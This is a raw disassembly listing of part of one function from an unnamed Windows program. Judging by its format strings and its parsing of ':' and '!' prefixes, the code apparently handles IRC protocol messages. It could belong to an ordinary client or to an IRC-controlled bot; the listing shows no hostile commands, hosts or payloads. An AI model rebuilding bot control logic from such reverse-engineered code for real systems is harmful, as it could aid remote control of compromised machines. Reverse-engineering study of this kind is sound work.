mov [esp+3Ch+arg_20], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+3Ch+var_4+3]
mov edx, [esp+3Ch+var_4+2]
mov eax, [esp+3Ch+var_4+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+40h+var_4]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+4Ch+arg_408]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
call sub_5EA1BD
nop
add esp, 18h
lea eax, [esp+3Ch+arg_408]
lea ecx, [ebp+3Dh]
push eax
call sub_4015D7
lea ecx, [esp+3Ch+arg_408]
push ecx
call near ptr 71AB2BF4h
nop
push offset byte_446F60
mov ecx, offset byte_44738B
mov [ebp+52h], eax
call sub_4012EE
test eax, eax
jz short loc_410287
mov ecx, offset byte_44738B
call sub_4017E4
mov edx, dword_44710C
push eax
push edx
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
loc_410287: ; CODE XREF: sub_40FF60+305j
mov ecx, offset byte_4E6E75
call sub_4017E4
push eax
mov ecx, offset byte_4E6E75
call sub_4017E4
push eax
mov eax, dword_447114
push eax
mov ecx, offset byte_4E6E75
call sub_4017E4
mov ecx, dword_447110
push eax
push ecx
push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n"
push ebp
call sub_401E0B
add esp, 1Ch
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4102C8: ; CODE XREF: sub_40FF60+1DBj
mov ecx, 800h
xor eax, eax
lea edi, [esp+20h+arg_464]
push ebx
rep stosd
lea eax, [esp+24h+arg_464]
push 2000h
push eax
push edx
call sub_401280
add esp, 10h
cmp al, bl
jz loc_411320
nop
call near ptr 27F06FDh
lea ecx, [esp+20h+var_8]
mov [ebp+24h], eax
call sub_401CBC
lea ecx, [esp+20h+arg_464]
push ecx
lea ecx, [esp+24h+var_8]
call sub_401A87
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_364]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447118
mov byte ptr [esp+20h+arg_246C], 1
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jnz short loc_4103A0
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_3F4]
push 4
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4473D4
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 2
call sub_401B72
test eax, eax
lea ecx, [esp+20h+arg_3F4]
mov byte ptr [esp+20h+arg_246C], 1
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_4103A4
loc_4103A0: ; CODE XREF: sub_40FF60+3EAj
mov [esp+20h+var_D], bl
loc_4103A4: ; CODE XREF: sub_40FF60+43Ej
lea ecx, [esp+20h+arg_364]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_4103C6
mov byte ptr [ebp+16h], 1
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4103C6: ; CODE XREF: sub_40FF60+45Bj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_F4]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_4470EC
mov byte ptr [esp+20h+arg_246C], 3
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_F4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
push 1
jz short loc_410464
lea edx, [esp+28h+arg_2A4]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 4
call sub_4017E4
push eax
mov eax, dword_447108
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2A4]
jmp loc_410592
; ---------------------------------------------------------------------------
loc_410464: ; CODE XREF: sub_40FF60+4BAj
lea edx, [esp+28h+arg_124]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016AE
mov ecx, dword_4470F0
mov byte ptr [esp+20h+arg_246C], 5
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_124]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
jz loc_4105D0
lea edx, [esp+24h+arg_40C]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 6
call sub_4012EE
lea ecx, [esp+20h+arg_40C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_411327
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_154]
push 11h
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447108
mov byte ptr [esp+20h+arg_246C], 7
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_154]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410597
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_2D4]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 8
call sub_4017E4
push eax
mov eax, dword_447108
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2D4]
loc_410592: ; CODE XREF: sub_40FF60+4FFj
call sub_401226
loc_410597: ; CODE XREF: sub_40FF60+5E6j
cmp [ebp+16h], bl
jnz loc_411327
mov ecx, offset byte_44741D
call sub_4017E4
push eax
mov ecx, offset dword_4473D4
call sub_4017E4
mov ecx, dword_4470F4
push eax
push ecx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4105D0: ; CODE XREF: sub_40FF60+550j
lea edx, [esp+24h+arg_394]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447128
mov byte ptr [esp+20h+arg_246C], 9
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_410652
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_184]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_44712C
mov byte ptr [esp+20h+arg_246C], 0Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_184]
mov byte ptr [esp+20h+arg_246C], 9
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_410657
loc_410652: ; CODE XREF: sub_40FF60+69Bj
mov [esp+20h+var_D], 1
loc_410657: ; CODE XREF: sub_40FF60+6F0j
lea ecx, [esp+20h+arg_394]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_4106C4
cmp [ebp+16h], bl
jnz short loc_4106A0
mov ecx, offset byte_44741D
call sub_4017E4
push eax
mov ecx, offset dword_4473D4
call sub_4017E4
mov edx, dword_4470F4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
loc_4106A0: ; CODE XREF: sub_40FF60+713j
mov ecx, offset byte_4E6E75
call sub_4017E4
push eax
mov eax, dword_4470FC
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4106C4: ; CODE XREF: sub_40FF60+70Ej
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_1B4]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov edx, dword_447104
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_1B4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
jz short loc_410775
lea eax, [esp+24h+arg_94]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+24h+arg_94]
mov byte ptr [esp+24h+arg_246C], 0Ch
call sub_4014D3
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_41075D
inc eax
lea ecx, [ebp+28h]
push eax
call sub_4015D7
loc_41075D: ; CODE XREF: sub_40FF60+7F1j
lea ecx, [esp+20h+arg_94]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410775: ; CODE XREF: sub_40FF60+7B7j
lea ecx, [esp+24h+arg_304]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov edx, dword_447100
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Dh
call sub_4012EE
test eax, eax
jnz short loc_4107B0
mov al, byte_447834
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_4107B4
loc_4107B0: ; CODE XREF: sub_40FF60+840j
mov [esp+20h+var_D], bl
loc_4107B4: ; CODE XREF: sub_40FF60+84Ej
lea ecx, [esp+20h+arg_304]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410AC1
push offset asc_443C84 ; ":"
lea eax, [esp+24h+arg_4C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push 96h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 0Fh
jz short loc_410812
mov ecx, eax
call sub_402054
loc_410812: ; CODE XREF: sub_40FF60+8A9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 10h
jz short loc_41083E
mov ecx, eax
call sub_4010BE
loc_41083E: ; CODE XREF: sub_40FF60+8D5j
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_4C]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_401A9B
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_7C]
push ebx
push ecx
lea ecx, [esp+2Ch+arg_4C]
xor edi, edi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jz loc_410AAC
loc_41089F: ; CODE XREF: sub_40FF60+B46j
push 96h
call sub_4367FA
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 12h
jz short loc_4108C7
mov ecx, eax
call sub_402054
mov esi, eax
jmp short loc_4108C9
; ---------------------------------------------------------------------------
loc_4108C7: ; CODE XREF: sub_40FF60+95Aj
xor esi, esi
loc_4108C9: ; CODE XREF: sub_40FF60+965j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 13h
jz short loc_4108FB
mov ecx, eax
call sub_4010BE
mov [esp+20h+var_C], eax
jmp short loc_4108FF
; ---------------------------------------------------------------------------
loc_4108FB: ; CODE XREF: sub_40FF60+98Cj
mov [esp+20h+var_C], ebx
loc_4108FF: ; CODE XREF: sub_40FF60+999j
push offset aS_3 ; " -s"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4013E3
test eax, eax
jz short loc_410922
mov byte ptr [esi+93h], 1
jmp short loc_410928
; ---------------------------------------------------------------------------
loc_410922: ; CODE XREF: sub_40FF60+9B7j
mov [esi+93h], bl
loc_410928: ; CODE XREF: sub_40FF60+9C0j
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410943
mov byte ptr [esi+94h], 1
jmp short loc_410949
; ---------------------------------------------------------------------------
loc_410943: ; CODE XREF: sub_40FF60+9D8j
mov [esi+94h], bl
loc_410949: ; CODE XREF: sub_40FF60+9E1j
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410964
mov byte ptr [esi+95h], 1
jmp short loc_41096A
; ---------------------------------------------------------------------------
loc_410964: ; CODE XREF: sub_40FF60+9F9j
mov [esi+95h], bl
loc_41096A: ; CODE XREF: sub_40FF60+A02j
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_1E4]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 14h
call sub_401FBE
lea ecx, [esp+20h+arg_1E4]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset byte_446F60
lea ecx, [esi+54h]
call sub_4015D7
push offset byte_446F60
lea ecx, [esi+3Fh]
call sub_4015D7
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_AC]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 15h
call sub_401FBE
lea ecx, [esp+20h+arg_AC]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_214]
push edi
push ecx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 16h
call sub_4017E4
push eax
mov ecx, esi
call sub_4015D7
lea ecx, [esp+20h+arg_214]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
mov ecx, [esp+20h+var_C]
push 1
push esi
call sub_401DE3
cmp esi, ebx
jz short loc_410A59
push 1
mov ecx, esi
call sub_4019D3
loc_410A59: ; CODE XREF: sub_40FF60+AEEj
mov ecx, [esp+20h+var_C]
call sub_4013D4
inc edi
push offset asc_4435EC ; "|"
lea edx, [esp+24h+arg_7C]
push edi
push edx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jnz loc_41089F
loc_410AAC: ; CODE XREF: sub_40FF60+939j
lea ecx, [esp+20h+arg_4C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410AC1: ; CODE XREF: sub_40FF60+86Bj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_334]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_4470F8
mov byte ptr [esp+20h+arg_246C], 17h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_334]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410DDB
push 96h
call sub_4367FA
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 18h
jz short loc_410B3B
mov ecx, eax
call sub_402054
mov esi, eax
jmp short loc_410B3D
; ---------------------------------------------------------------------------
loc_410B3B: ; CODE XREF: sub_40FF60+BCEj
xor esi, esi
loc_410B3D: ; CODE XREF: sub_40FF60+BD9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], bl
call sub_4367FA
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 19h
jz short loc_410B6C
mov ecx, eax
call sub_4010BE
mov edi, eax
jmp short loc_410B6E
; ---------------------------------------------------------------------------
loc_410B6C: ; CODE XREF: sub_40FF60+BFFj
xor edi, edi
loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], bl
call sub_4013E3
test eax, eax
jz short loc_410B90
mov byte ptr [esi+95h], 1
jmp short loc_410B96
; ---------------------------------------------------------------------------
loc_410B90: ; CODE XREF: sub_40FF60+C25j
mov [esi+95h], bl
loc_410B96: ; CODE XREF: sub_40FF60+C2Ej
push offset aS_3 ; " -s"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410BB1
mov byte ptr [esi+93h], 1
jmp short loc_410BB7
; ---------------------------------------------------------------------------
loc_410BB1: ; CODE XREF: sub_40FF60+C46j
mov [esi+93h], bl
loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410BD2
mov byte ptr [esi+94h], 1
jmp short loc_410BD8
; ---------------------------------------------------------------------------
loc_410BD2: ; CODE XREF: sub_40FF60+C67j
mov [esi+94h], bl
loc_410BD8: ; CODE XREF: sub_40FF60+C70j
push offset asc_443C84 ; ":"
lea edx, [esp+24h+arg_274]
push ebx
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_3C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Ah
call sub_4016AE
push offset asc_443C78 ; "!"
lea edx, [esp+24h+arg_244]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Bh
call sub_4016AE
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 1Ch
call sub_401FBE
lea ecx, [esp+20h+arg_244]
mov byte ptr [esp+20h+arg_246C], 1Bh
call sub_401226
lea ecx, [esp+20h+arg_3C4]
mov byte ptr [esp+20h+arg_246C], 1Ah
call sub_401226
lea ecx, [esp+20h+arg_274]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443C78 ; "!"
lea eax, [esp+24h+arg_DC]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+24h+arg_C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Dh
call sub_4016AE
push eax
lea ecx, [esi+54h]
mov byte ptr [esp+24h+arg_246C], 1Eh
call sub_401FBE
lea ecx, [esp+20h+arg_C4]
mov byte ptr [esp+20h+arg_246C], 1Dh
call sub_401226
lea ecx, [esp+20h+arg_DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset dword_4437F8
lea edx, [esp+24h+arg_13C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_10C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Fh
call sub_4016AE
push eax
lea ecx, [esi+3Fh]
mov byte ptr [esp+24h+arg_246C], 20h
call sub_401FBE
mov byte ptr [esp+20h+arg_246C], 1Fh
lea ecx, [esp+20h+arg_10C]
call sub_401226
lea ecx, [esp+20h+arg_13C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_16C]
push 2
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 21h
call sub_401FBE
lea ecx, [esp+20h+arg_16C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443C74 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_410DAD
add eax, 2
push eax
jmp short loc_410DB2
; ---------------------------------------------------------------------------
loc_410DAD: ; CODE XREF: sub_40FF60+E45j
push offset byte_446F60
loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj
mov ecx, esi
call sub_4015D7
push ebx
push esi
mov ecx, edi
call sub_401DE3
cmp esi, ebx
jz short loc_410DCF
push 1
mov ecx, esi
call sub_4019D3
loc_410DCF: ; CODE XREF: sub_40FF60+E64j
mov ecx, edi
call sub_4013D4
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410DDB: ; CODE XREF: sub_40FF60+BADj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_19C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_44711C
mov byte ptr [esp+20h+arg_246C], 22h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_19C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410FB0
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov edx, esp
mov [esp+38h+var_C], esp
push offset asc_443600 ; " "
push 3
push edx
call sub_4016AE
mov ecx, offset word_448C8E
call sub_401CD0
cmp eax, ebx
jz short loc_410EA2
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov eax, esp
mov [esp+38h+var_C], esp
push offset asc_443600 ; " "
push 3
push eax
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 23h
mov ecx, esp
mov [esp+50h+arg_C], esp
push offset asc_443600 ; " "
push 3
push ecx
lea ecx, [esp+5Ch+var_8]
call sub_4016AE
mov ecx, offset word_448C8E
mov byte ptr [esp+50h+arg_246C], bl
call sub_40210D
loc_410EA2: ; CODE XREF: sub_40FF60+EF3j
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_1CC]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset byte_4E6E75
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 24h
call sub_401B72
test eax, eax
lea ecx, [esp+20h+arg_1CC]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411327
push offset asc_443C84 ; ":"
lea eax, [esp+24h+arg_22C]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443C78 ; "!"
lea ecx, [esp+24h+arg_1FC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 25h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 26h
call sub_4017E4
push eax
lea ecx, [esp+24h+arg_25C]
call sub_401861
lea ecx, [esp+20h+arg_1FC]
mov byte ptr [esp+20h+arg_246C], 29h
call sub_401226
lea ecx, [esp+20h+arg_22C]
mov byte ptr [esp+20h+arg_246C], 28h
call sub_401226
mov ecx, offset byte_44741D
mov [ebp+16h], bl
call sub_4017E4
push eax
mov ecx, offset dword_4473D4
call sub_4017E4
mov edx, dword_4470F4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
lea ecx, [esp+20h+arg_25C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410FB0: ; CODE XREF: sub_40FF60+EC7j
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_28C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447110
mov byte ptr [esp+20h+arg_246C], 2Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_28C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411168
push offset asc_443C84 ; ":"
lea edx, [esp+24h+arg_2EC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443C78 ; "!"
lea ecx, [esp+24h+arg_2BC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 2Bh
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 2Ch
call sub_4017E4
push eax
lea ecx, [esp+24h+arg_34]
call sub_401861
lea ecx, [esp+20h+arg_2BC]
mov byte ptr [esp+20h+arg_246C], 2Fh
call sub_401226
lea ecx, [esp+20h+arg_2EC]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
push offset asc_443C74 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
mov esi, dword_50FAF8
push eax
call esi ; dword_50FAF8
add esp, 8
test eax, eax
jz loc_411153
push offset asc_443C74 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
push eax
call esi ; dword_50FAF8
add esp, 8
lea ecx, [esp+20h+arg_64]
push eax
call sub_401861
push offset byte_446F60
lea ecx, [esp+24h+arg_34]
mov byte ptr [esp+24h+arg_246C], 30h
call sub_4012EE
test eax, eax
jz short loc_41113F
push offset byte_446F60
lea ecx, [esp+24h+arg_64]
call sub_4012EE
test eax, eax
jz short loc_41113F
sub esp, 18h
lea edx, [esp+38h+arg_34]
mov ecx, esp
mov [esp+38h+arg_C], esp
push edx
call sub_4014C9
mov ecx, offset word_448C8E
call sub_401CD0
cmp eax, ebx
jz short loc_41111B
lea ecx, [esp+20h+arg_64]
push ecx
lea ecx, [eax+19h]
call sub_401FBE
loc_41111B: ; CODE XREF: sub_40FF60+11A9j
push offset byte_4E6E75
lea ecx, [esp+24h+arg_34]
call sub_401B72
test eax, eax
jnz short loc_41113F
lea edx, [esp+20h+arg_64]
mov ecx, offset byte_4E6E75
push edx
call sub_401FBE
loc_41113F: ; CODE XREF: sub_40FF60+1173j
; sub_40FF60+1188j ...
lea ecx, [esp+20h+arg_64]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
loc_411153: ; CODE XREF: sub_40FF60+1134j
lea ecx, [esp+20h+arg_34]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_411168: ; CODE XREF: sub_40FF60+109Cj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_34C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447120
mov byte ptr [esp+20h+arg_246C], 31h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_4111EF
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_31C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447130
mov byte ptr [esp+20h+arg_246C], 32h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_31C]
mov byte ptr [esp+20h+arg_246C], 31h
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_4111F4
loc_4111EF: ; CODE XREF: sub_40FF60+1238j
mov [esp+20h+var_D], 1
loc_4111F4: ; CODE XREF: sub_40FF60+128Dj
lea ecx, [esp+20h+arg_34C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411327
push offset asc_443C84 ; ":"
lea edx, [esp+24h+arg_37C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 33h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_443C78 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
mov ecx, offset word_448C8E
call sub_401CD0
lea ecx, [esp+20h+arg_37C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_411327
push offset asc_443C84 ; ":"
lea edx, [esp+24h+arg_3DC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 34h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_443C78 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+3Ch+arg_3AC]
push 1
push edx
lea ecx, [esp+44h+var_8]
mov byte ptr [esp+44h+arg_246C], 35h
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 36h
mov ecx, esp
mov [esp+50h+var_C], esp
push offset asc_443C78 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
mov ecx, offset word_448C8E
mov byte ptr [esp+50h+arg_246C], 37h
call sub_40210D
lea ecx, [esp+20h+arg_3AC]
mov byte ptr [esp+20h+arg_246C], 34h
call sub_401226
lea ecx, [esp+20h+arg_3DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp short loc_411327
; ---------------------------------------------------------------------------
loc_411320: ; CODE XREF: sub_40FF60+391j
mov ecx, ebp
call sub_401D0C
loc_411327: ; CODE XREF: sub_40FF60+1D3j
; sub_40FF60+253j ...
cmp [ebp+17h], bl
jnz loc_40FFA2
loc_411330: ; CODE XREF: sub_40FF60+3Cj
; sub_40FF60+4Fj
lea ecx, [esp+20h+var_8]
